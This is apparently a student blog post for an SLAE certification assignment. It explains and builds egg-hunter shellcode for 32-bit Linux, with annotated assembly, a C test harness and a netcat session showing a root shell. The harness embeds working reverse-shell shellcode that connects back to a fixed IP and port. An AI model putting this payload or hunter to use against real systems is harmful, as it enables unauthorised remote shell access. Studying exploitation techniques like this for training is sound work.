Assembly Language and Shellcoding on Linux - Part 4 (Assignment 3)

Egg Hunter Shellcode

Assignment 3

For this assignment we need to research egg hunter techniques and come up with a working version of our own egg hunting shellcode.

Why Egg Hunting?

Egg hunting is a technique used in exploit development when you don't have sufficient space to inject your full shellcode but do have other ways of storing it in memory.

The Egg Hunter will search in memory until it finds the start of the actual shellcode and then pass execution to that memory address.

To do this we need an Egg Key which will be 4 bytes long and generally something that usually wouldn't be used often.

I'm going to use the opcodes for Set Carry Flag (F9) and Clear Carry Flag (F8). It would be unusual for those two opcodes to be used one after the other. So our Egg Key will be F8F9F8F9.

This key will prefix our actual shellcode, but we will prefix it twice, this will ensure that the egghunter shellcode doesn't find the Egg Key in it's own code, and also helps avoid a collision should those 4 bytes be in memory. So our Egg Identifier is now F8F9F8F9F8F9F8F9 and our shellcode would look something like this:

<----- Egg Identifier ----------><------ Shell Code ------...  
\xf8\xf9\xf8\xf9\xf8\xf9\xf8\xf9\x31\xc0\x89\xc3\x50\xb0\ ...

For further reading on egg hunting on both Linux and Windows I suggest reading the fantastic paper written by Skape here:
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

The Assembly

So we now know that we are going to have to look back in memory for our shellcode which we can find by searching on finding our Egg Key twice in succession. We will focus on using the sigaction method Skape describes in his paper. Let's see how we want to do that in our assembly code.

Overview

Our code will need to do the following steps:

  1. Make a syscall for sigaction
  2. Check if we got an EFAULT
  3. If we did check next memory block
  4. If we didn't check if our Egg Key is contained in that block?
  5. If it is, is it repeated?
  6. If it's repeated we've found our shellcode, pass execution to it
Sigaction

http://man7.org/linux/man-pages/man2/sigaction.2.html
The definition for sigaction call is

int sigaction(int signum, const struct sigaction *act,  
                     struct sigaction *oldact);

Signum is from our unistd_32.h file:

#define __NR_sigaction 67

Let's start coding up our sigaction syscall

align_page:  
    or cx,0xfff         ; Setup the page alignment
next_address:  
    inc ecx             ; Increment our page alignment 
    push byte +0x43     ; Push 67 onto the stack (sigaction syscall number)
    pop eax             ; Set eax to 67
    int 0x80            ; Make the syscall - sigaction
    cmp al,0xf2         ; Did sigaction return EFAULT?
    jz align_page       ; If it did it is an invalid pointer, try the next one
    mov eax, 0xF8F9F8F9 ; Store our Egg Key in eax
    mov edi, ecx        ; Move ecx into edi (address to validate)
    scasd               ; Scan string to compare eax and edi and increment edi by 4
    jnz next_address    ; If it did not match try the next address
    scasd               ; If it did try the next 4 bytes
    jnz next_address    ; Next 4 bytes did not match try next address
    jmp edi             ; We found our egg identifier, pass execution

That should be it, we just need to test it now.

Testing

To test our code we build a test framework in C, this will take our egg hunter code and our shellcode.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

unsigned char egghunter[20];

void main()

{
/* This is our actual shellcode */
  unsigned char shellcode[256] = \
"\xf9\xf8\xf9\xf8\xf9\xf8\xf9\xf8" /* <- Our Egg Identifier Prefix*/
"\x31\xc0\x89\xc3\x50\xb0\x66\xb3\x01\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc2\x31\xc0\x89\xc3\xb0\x66\xb3\x03\x68\xc0\xa8\xd5\x82\x66\x68\x11\x5c"
"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x89\xd3\x31\xc9\xb1"
"\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";

 printf("Shellcode: %d bytes\n", strlen(shellcode));

/* This is our egg hunter code */
 strcpy(egghunter,"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74"
 "\xf1\xb8\xf9\xf8\xf9\xf8\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7");

 printf("Egghunter: %d bytes\n", strlen(egghunter));

 int (*ret)() = (int(*)())egghunter;

 ret();

}

Compile that using

gcc -m32 -fno-stack-protector -z execstack egg_hunter_tester.c -o egg_hunter_tester  

Open up a netcat listener as before in the reverse TCP shellcode post and then run egghuntertester

$nc -l -p 4444
whoami  
root  

It works :)

Full code is available on my github page:
https://github.com/DeathsPirate/SLAE/


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-734